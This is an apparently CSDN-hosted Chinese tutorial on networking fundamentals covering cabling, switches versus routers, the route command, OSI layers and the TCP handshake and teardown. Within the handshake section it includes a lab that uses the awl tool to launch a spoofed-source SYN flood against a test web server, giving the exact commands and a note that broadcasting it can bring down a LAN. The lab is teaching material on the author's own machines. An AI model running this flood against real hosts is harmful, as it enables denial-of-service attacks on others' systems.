39.网络基础

网络基础

1.什么是网络?

所谓网络,就是通过一定的形式连接起来的物体,物体与物体之间可以实现通信。

#网络的重要性

所有的系统都有网络!我们的生活已经离不开网络。

运维生涯50%的生产故障都是网络故障!

2.网络介质

1)在两台主机之间需要有传输介质(网线、光纤、无线等)
网络分类:5类-7类

网线水晶头的线序有两种,我们俗称为A类、B类。

568A类线序:白绿,绿,白橙,蓝,白蓝,橙,白棕,棕		#越来越少使用

568B类线序:白橙,橙,白绿,蓝,白蓝,绿,白棕,棕  	#一般用于交换机、pc


2)在两台主机上面需要有网卡设备

在发送信息时:将二进制(数字信号)信息转换为高低电压(电信号)		#调至过程



在接收信息时:将高低电压〔电信号)信息转换为二进制数(数字信号)	#解调过程



3)在进行数据传输之前,需要协商网络传输速率。

网卡速度参数100bps==100M bit 每秒=每秒钟传输多少个bit(0或1)
100000k==100000000 bit/s=1bit/xxns
网络传输数据单位:比特bit	1bit=1/8byte 
磁盘存储数据单位:字节byte	1byte=8bit

iftop命令

image-20220818020943077

3.网络设备介绍

3.1.什么是交换机

交换机:实现同一个局域网通信工具

  1.主要是对数据进行转发

  2.识别的是网卡mac地址

  3.mac地址有一个缓存


实现一个网络内多台主机之间的通讯

#如何利用交换机实现通讯

  1.在数据前面设置目标地址和源地址,目标地址和源地址用mac地址进行标识mac称为物理地址,每块网卡上都有的一个标识身份信息的mac地址全球唯一,不能进行修改,     mac地址用l6进制标识

  2,在网络通讯初期,会利用广播方式进行发送数据包,在通讯的过程,数据包的发送一定是有去有回的。在一个交换网路中,如果产生了大量广播数据包时会产生广播风		暴,影响主机性能,这样的问题称为广播风暴问题

#解决广播风暴问题思路:

	减少广播产生数量,将一个大的交换网络切割为几个小的交换网络(局域网,广播域)

#交换机的种类

傻瓜交换机(TP-1ink/D1ink/水星...)

程控交换机(存储程序控制交换机,配置管理,思科、华为、华三)

3.2.什么是路由

路由器:实现不同局域网之间主机通讯,可以隔离广播风暴(路由不同的接口连接不同广播域)

路由类似于现实生活中从A地去往B地可能需要先步行,在坐车,在做飞机才能到达B地,这样的整个过程在网络中对应数据的传递过程就称为路由。因此一个数据信息跨越不同的网段传递到目的地址,就可以把传递数据的过程称为路由,也可以看做每条传递数据的路径。

3.2.1.ip地址

逻辑地址(可以改变的地址/???)利用10进制方式进行显示

IP地址由两部分组成:交换网络标识信息+主机地址标识信息===网段地址+主机地址

内网卡–交换机 192.168.11.0/24(192.168.11.1~192.168.11.254)

外网卡—运营商 122.71.227.79(铁通)

3.2.2.查公网ip的方法

windows:打开浏览器,访问百度,搜IP即可
linux:curl ifconfig.me

高级路由器还有上网行为管理器和防火墙功能
论坛:鸿鹄论坛(网络工程师)

3.2.3.路由追踪

windows路由追踪命令
tracert -d www.baidu.com

linux路由追踪命令
traceroute -n www.baidu.com

3.2.4.网关

路由实现数据传输通讯时,会根据路由表信息进行数据包路由实现不同网段之间通讯需要经过一条必经之路,这条路称为网关

互动:路由与网关的区别
趣解
假设你的名字叫小不点,你住在一个大院子里,你的邻居有很多小伙伴,在门口传达室还有个看大门的李大爷,李大爷就是你的网关。当你想跟院子里的某个小伙伴玩,只要你在院子里大喊一声他的名字,他听到了就会回应你,并且跑出来跟你玩。

但是你不被允许走出大门,你想与外界发生的一切联系,都必须由门口的李大爷(网关)用电话帮助你联系。假如你想找你的同学小明聊天,小明家住在很远的另外一个院子里,他家的院子里也有一个看门的王大爷(小明的网关)。但是你不知道小明家的电话号码,不过你的班主任老师有一份你们班全体同学的名单和电话号码对照表,你的老师就是你的DNS服务器。于是你在家里拨通了门口李大爷的电话,有了下面的对话:

小不点:李大爷,我想找班主任查一下小明的电话号码行吗?

李大爷:好,你等着。(接着李大爷给你的班主任挂了一个电话,问清楚了小明的电话)问到了,他家的号码是211.99.99.99

小不点:太好了!李大爷,我想找小明,你再帮我联系一下小明吧。

李大爷:没问题。(接着李大爷向电话局发出了请求接通小明家电话的请求,最后一关当然是被转接到了小明家那个院子的王大爷那里,然后王大爷把电话给转到小明家)

就这样你和小明取得了联系。

你家门口的李大爷:就是你的网关

你的班主任:就是你的DNS服务器

同上,李大爷和王大爷之间的对话就叫做路由。

3.2.5.如何查看路由信息

-n:不要使用通讯协定或主机名称,直接使用IP或port number

[root@exercise1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.119.2   0.0.0.0         UG    100    0        0 ens33
192.168.119.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
[root@exercise1 ~]# 

注:0.0.0.0 192.168.119.2 0.0.0.0#前面 0.0.0.0 表示任何网段,后面 0.0.0.0 表示匹配 所有网段,这行就是默认网关

centos7 默认路由在第一条


route命令输出的路由表字段含义如下:

Destination目标:目标网络或目标主机为路由。

Gateway网关:网关地址,如果是本地网段IP,就显示0.0.0.0

Genmask:子网掩码

Flags:标记
U:route is up 该路由是启动的,生效的
H:host目标是一台主机,而非一个网段 192.168.0.10/32
G:use gateway 这条路由需要交给网关(某个具体IP)进行处理
! : 拒绝连接

metric:路由开销。是路由算法用以确定到达目的地的最佳路径长度

Ref:路由引用次数

Use:此路由项被路由软件查找的次数

Iface:网卡接口


添加/删除路由条目
[root@base ~]#route add [-net|-host] [网域或主机] netmask [gw|dev]
[root@base ~]#route del [-net|-host] [网域或主机] netmask [gw|dev]
增加(add)与删除(del)路由的相关参数:

-net:表示后面接的路由为一个网域;

-host:表示后面接的是目标主机;

netmask:子网掩码;

gw:网关,后续接的是IP的数值喔,与dev不同;

dev:如果只是要指定由那一块网卡连线出去,则使用这个设定,后面接ens33等

例:添加/删除路由条目
添加路由(把Linux做成路由器时或服务器有多个网卡,指定到不同网段走哪个网卡)

实战场景:多个网卡,多个网段,实现不同数据走不同网卡。如果网络管理和生产数据分开管理。

[root@exercise1 ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens33

[root@exercise1 ~]# route add -net 192.168.3.0/24 dev ens33

[root@exercise1 ~]# route add -host 192.168.245.110 dev ens33

[root@exercise1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.119.2   0.0.0.0         UG    100    0        0 ens33
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.119.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.245.110 0.0.0.0         255.255.255.255 UH    0      0        0 ens33
[root@exercise1 ~]# 

[root@exercise1 ~]# route add -net 192.168.4.0 netmask 255.255.255.0 reject   #拒绝192.168.4.0网段路由连接
#增加一条屏蔽的路由,目的地址为 192.168.4.0 将被拒绝
[root@exercise1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.119.2   0.0.0.0         UG    100    0        0 ens33
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.4.0     -               255.255.255.0   !     0      -        0 -
192.168.119.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.245.110 0.0.0.0         255.255.255.255 UH    0      0        0 ens33

[root@exercise1 ~]# route add default gw 192.168.119.2   #添加默认网关,也称缺省路由,需要在同一个网段

注:当有多个默认网关时,linux只取Metric值最小的那一个网关

[root@exercise1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.119.2   0.0.0.0         UG    100    0        0 ens33
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.4.0     -               255.255.255.0   !     0      -        0 -
192.168.119.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.245.110 0.0.0.0         255.255.255.255 UH    0      0        0 ens33

例3:路由转发

[root@exercise1 ~]# route add -net 192.168.120.0/24 gw 192.168.119.149   #从指定网关(192.168.119.149)访问192.168.120网段

[root@exercise1 ~]# route add -net 192.168.120.0 netmask 255.255.255.0 gw 192.168.119.147

[root@exercise1 ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.119.2   0.0.0.0         UG    100    0        0 ens33
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.3.0     0.0.0.0         255.255.255.0   U     0      0        0 ens33
192.168.4.0     -               255.255.255.0   !     0      -        0 -
192.168.119.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33
192.168.120.0   192.168.119.147 255.255.255.0   UG    0      0        0 ens33
192.168.120.0   192.168.119.149 255.255.255.0   UG    0      0        0 ens33
192.168.245.110 0.0.0.0         255.255.255.255 UH    0      0        0 ens33
[root@exercise1 ~]# 

删除路由

[root@exercise1 ~]# route del -net 192.168.2.0 netmask 255.255.255.0 dev ens33
[root@exercise1 ~]# route del -net 192.168.3.0/24 dev ens33
[root@exercise1 ~]# route del -net 192.168.4.0 netmask 255.255.255.0 reject
[root@exercise1 ~]# route del -net host 192.168.245.110 dev ens33
host: 未知的主机
[root@exercise1 ~]# route del default gw 192.168.125.2

永久路由配置
方法1:
在/etc/rc.d/rc.local里添加命令
注:重启网络,route消失

方法2:修改路由配置文件
cat /etc/sysconfig/network-scripts/route-ens33
ADDRESS0=192.168.8.0 #ADDRESS后面是数字0表示第一条有多条路由就是0,1,2,3依次
NETMASK0=255.255.255.0
GATEWAY0=192.168.245.2

[root@master ~]# systemctl restart network
[root@master ~]# route -n
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.8.0 192.168.245.2 255.255.255.0 UG 0 0 0 ens33

4.路由器与交换机的区别

交换机路由器
转发数据,同一个局域网/网段处理数据转发数据,处理不同网段/局域网的数据
识别的是mac地址识别的ip地址
产生广播风暴隔离广播风暴
多个接口24/48/接口较少4/8
mac地址缓存表(指路)路由条目(静态/动态)
工作层次:二层交换机三层交换机三层设备
不能拔号上网能拔号上网

5.网络层次结构

5.1.网络拓扑

网络层次结构

核心层:主要部署路由器设备,用于连接外网线路,还要具备冗余能力汇聚层:主要部署三层交换设备,用于相应安全访问控制进行链路汇聚接入层:主要部署二层交换设备,用于终端设备接入

一层交换机:只支持物理层协议。

二层交换机:支持物理层和数据链路层协议。

三层交换机:支持物理层,数据链路层及网络层协议。

5.2.网络类型

#局域网:本地私有的一个网络范围。规模较大的局域网,也会称为园区网。

#城域网:网络的覆盖面积达到了一个城市,就可以称为城域网。

#广域网:覆盖面积达到了全国或全球,就称为广域网,全球最大的广域网就是Internet互联网。

5.3.网络层次模型

image-20220818032250285

image-20220818032811838

科来网络通讯协议

https://www.colasoft.com.cn/

5.4.数据包传输过程

假设A用户要传输数据给B用户,并且A用户和B用户是在两个不同的网段中

1.数据请求从A的应用层发出,传输到表示层进行数据的编译和加密、压缩

2.表示层将数据发送到会话层,会话层再交由下层传输层进行处理

3.传输层拥有端口号的概念用于识别上层的服务,并且将上层的服务进行分段,

4.并且用于保持A-B之间的通信连接,以及连接的可靠性,随之将数据交给网络层

5.在网终层将数据进行打包,并在打包后的数据前面,定义目标P地址和源P地址

6.在数据链路层进行再加工,在加工后的数据层面定义目标MAC和源MAC地址

7.在物理层,最终将数据变化为机器和识别的10101的二进制编码,在网线上通过电信号进行传输

8.到了路由器要对数据进行转发,依次会解压数据的信息,最终获得到目标P网段

9.路由器是依据IP地址转发数据的,所以工作在3层,因此收到数据包,要先将二进制码转换为帧,再将帧转换为p数据包,对ip数据包目标地址进行寻址

10.根据路由表确认好路由传输的路径后,会再将数据打包好进行传输

11.收到数据后,在依次解包,收到相应的数据,反之亦然。

gif动态演示

1

6.tcp/udp

6.1.TCP协议和UDP协议的区别

(1)TCP协议:TCP(TransmissionControlProtocol,传输控制协议)是面向连接的协议,在收发数据前,必须和对方建立可靠的连接。
(2)UDP协议:UDP是UserDatagramProtocol的简称,中文名是用户数据报协议,是一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务

总结:TCP 与 UDP 的区别:
1.基于连接与无连接;
2.对系统资源的要求(TCP 较多,UDP 少);
3.UDP 程序结构较简单;UDP 信息包的标题很短,只有 8 个字节,相对于 TCP 的 20 个字节信息包的额外开销很小。所以传输速度可更快
4.TCP 保证数据正确性,UDP 可能丢包;TCP 保证数据顺序,UDP 不保证。

场景:视频,语音通讯使用 udp,dns服务。 udp 数据传输完整性,可以通过应用层的软件来校对就可以了。
tcp 传文件,数据完整性要求高,一般应用于web浏览器,电子邮件,文件传输程序

TCP报文段的首部格式:

tcp _1_.png

6.2.tcp3次握手

ACK :TCP 协议规定,只有 ACK=1 时有效,也规定连接建立后所有发送的报文的 ACK 必须为 1

SYN :在连接建立时用来同步序号。当 SYN=1 而 ACK=0 时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使 SYN=1 和 ACK=1. 因此, SYN = 1 就表示这是一个连接请求 或 响应报文。

**FIN :即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发 送完毕,并要求断开连接。 **

image-20220819015402295

TCP三次握手建立过程简单说明:

01.由主机A发送建立TCP连接的请求报文,其中报文中包含seq序列号,是由发送端随机生成的,并且还将报文中SYN字段置为1,表示需要建立TCP连接请求。

02.主机B会回复A发送的TCP连接请求报文,其中包含seq序列号,也是由回复端随机生成的,并且将回复报文的SYN字段置1,而且会产生ACK验证字段,ACK验证字段数值是在A发过来的seq序列号基础上加1进行回复;并且还会回复ack确认控制字段,以便A收到信息时,知晓自己的TCP建立请求已得到了确认。

03.A端收到B端发送的TCP建立请求后,会使自己的原有序列号加1进行再次发送序列号,并且再次回复ACK验证请求,在B端发送过来的seq基础上加1,进行回复;同时也会回复ack确认控制字段,以便B收到信息时,知晓自己的TCP建立请求已经得到了确认。

为什么要三次握手?
答:为了防止已失效的连接请求报文段突然又传送到了服务端,因而产生错误。

具体例子:
“已失效的连接请求报文段”的产生在这样一种情况下:client发出的第一个连接请求报文段并没有丢失,而是在某个网络结点长时间的滞留了,以致延误到连接释放以后的某个时间才到达server。本来这是一个早已失效的报文段。但server收到此失效的连接请求报文段后,就误认为是client再次发出的一个新的连接请求。
于是就向client发出确认报文段,同意建立连接。假设不采用“三次握手”,那么只要server发出确认,新的连接就建立了。由于现在client并没有发出建立连接的请求,因此不会理睬server的确认,也不会向server发送数据。但server却以为新的运输连接已经建立,并一直等待client发来数据。这样,server的很多资源就白白浪费掉了。采用“三次握手”的办法可以防止上述现象发生。例如刚才那种情况,client不会向server的确认发出确认。server由于收不到确认,就知道client并没有要求建立连接。”

tcp4.png

实战:在局域网中使用awl伪装IP地址进行多线程SYN洪水攻击

SYN洪水攻击概述:
SYN洪水攻击主要源于:tcp协议的三次握手机制

SYN洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超时关闭,才能施放内存。

如果恶意者通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。


下载地址:https://gitlab.com/davical-project/awl/tags

通过xshell上传awl-0.2.tar.gz到Linux系统中

[root@exercise1 ~]# tar zxvf /opt/awl-0.2.tar.gz -C /opt/  #解压到/opt目录下

[root@exercise1 ~]# cd /opt/awl-0.2

[root@exercise1 awl-0.2]# ./configure   #查检软件包安装环境

[root@exercise1 awl-0.2]# make && make install   #安装


查看安装的命令:

[root@exercise1 awl-0.2]# which awl
/usr/local/bin/awl
[root@exercise1 awl-0.2]# 

在exercise2上搭建一台web服务器,模拟要被攻击的服务器

[root@exercise2 ~]# yum -y install httpd   #安装web服务器

[root@exercise2 ~]# systemctl start httpd

[root@exercise2 ~]# iptables -F   #清除防火墙规则
[root@exercise2 ~]# 

开始攻击:
实战4:在局域网中使用awl伪装IP地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

#在exercise1操作
[root@exercise1 awl-0.2]# ping 192.168.119.146   #exercise2的IP地址

[root@exercise1 awl-0.2]# arping 192.168.119.146
ARPING 192.168.119.146 from 192.168.119.149 ens33
Unicast reply from 192.168.119.146 [00:50:56:35:48:5B]  0.802ms
Unicast reply from 192.168.119.146 [00:50:56:35:48:5B]  0.823ms
Unicast reply from 192.168.119.146 [00:50:56:35:48:5B]  0.773ms
Unicast reply from 192.168.119.146 [00:50:56:35:48:5B]  0.856ms
^CSent 4 probes (1 broadcast(s))
Received 4 response(s)

Unicast reply from 192.168.119.146 [00:50:56:35:48:5B] 0.856ms 标红的是对方网卡的MAC地址

开始攻击:
awl参数如下:

-i  发送包的网关,如果省略默认是ens33

-m  指定目标mac地址注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”

FF.FF.FF.FF.FF.FF MAC地址是什么?
这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪

-d  被攻击机器的IP

-p  被攻击机器的端口

两台机器都要清除防火墙规则:

[root@exercise1 awl-0.2]# iptables -F


[root@exercise1 awl-0.2]# awl -i ens33 -m 00:50:56:35:48:5B -d 192.168.119.146 -p 80


测试攻击效果:
在exercise2上查看:发现很多伪装成公网的IP在攻击我这台测试机;同时,会发现exercise2机器因为被攻击而卡顿了
netstat.png

关掉攻击

[root@exercise1 awl-0.2]# awl -i ens33 -m 00:50:56:35:48:5B -d 192.168.119.146 -p 80   #Ctrl+c
^Cpool_renew success
pthread join 0 is success !
pthread join 1 is success !
pthread join 2 is success !
pthread join 3 is success !
pthread join 4 is success !
pthread join 5 is success !
pthread join 6 is success !
pthread join 7 is success !

三次握手可能出现的问题 :

1.客户端请求超时(第一次握手):检查网络,是否能连得通

2.服务端发送响应后,没得到客户端回复(第二次握手):设置超时时间缩短,开启防火墙,抓包客户端来源,屏蔽攻击来源

6.3.tcp4次挥手

image-20220819020131739

TCP四次挥手断开过程说明:

01.主机A发送断开TCP连接请求的报文,其中报文中包含seq序列号,是由发送端随机生成的,并且还将报文中FN字段置为1,表示需要断开TCP连接。

02.主机B会回复A发送的TCP断开请求报文,其中包含seq序列号,是由回复端随机生成的,而且会产生ACK验证字段,ACK验证字段数值是在A发过来的sq序列号基础上加1进行回复;并且还会回复ack确认控制字段,以便A收到信息时,知晓自己的TCP断开请求已得到了确认。

03.主机B在回复完A的TCP断开请求确认控制字段后,不会马上就进行TCP连接的断开,主机B会先确保断开前,所有传输到A的数据是否已经传输完毕,一旦确认传输数据完毕就会将控制报文中FN字段置1,进行发送断开请求

04.主机A收到主机B的TCP断开请求后,会回复主机B的断开请求,包含相应的seq字段和ack验证字段,ack验证字段会在主机B的TCP断开请求的seq基础上加1,从而完成主机B请求的验证回复;并且还会回复ack确认控制字段,以便B收到信息时,知晓自己的TCP断开请求已得到了确认。

至此TCP断开的4次挥手过程完毕,连接断开。

  • 为什么要四次挥手?
    答:TCP协议是一种面向连接的、可靠的、基于字节流的运输层通信协议。TCP是全双工模式,这就意味着,当主机1发出FIN报文段时,只是表示主机1已经没有数据要发送了,主机1告诉主机2,它的数据已经全部发送完毕了;但是,这个时候主机1还是可以接受来自主机2的数据;当主机2返回ACK报文段时,表示它已经知道主机1没有数据发送了,但是主机2还是可以发送数据到主机1的;当主机2也发送了FIN报文段时,这个时候就表示主机2也没有数据要发送了,就会告诉主机1,我也没有数据要发送了,之后彼此就会愉快的中断这次TCP连接。

tcp6.png

确认。

03.主机B在回复完A的TCP断开请求确认控制字段后,不会马上就进行TCP连接的断开,主机B会先确保断开前,所有传输到A的数据是否已经传输完毕,一旦确认传输数据完毕就会将控制报文中FN字段置1,进行发送断开请求

04.主机A收到主机B的TCP断开请求后,会回复主机B的断开请求,包含相应的seq字段和ack验证字段,ack验证字段会在主机B的TCP断开请求的seq基础上加1,从而完成主机B请求的验证回复;并且还会回复ack确认控制字段,以便B收到信息时,知晓自己的TCP断开请求已得到了确认。

至此TCP断开的4次挥手过程完毕,连接断开。

  • 为什么要四次挥手?
    答:TCP协议是一种面向连接的、可靠的、基于字节流的运输层通信协议。TCP是全双工模式,这就意味着,当主机1发出FIN报文段时,只是表示主机1已经没有数据要发送了,主机1告诉主机2,它的数据已经全部发送完毕了;但是,这个时候主机1还是可以接受来自主机2的数据;当主机2返回ACK报文段时,表示它已经知道主机1没有数据发送了,但是主机2还是可以发送数据到主机1的;当主机2也发送了FIN报文段时,这个时候就表示主机2也没有数据要发送了,就会告诉主机1,我也没有数据要发送了,之后彼此就会愉快的中断这次TCP连接。

[外链图片转存中…(img-r2zM5OBS-1673167527461)]

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值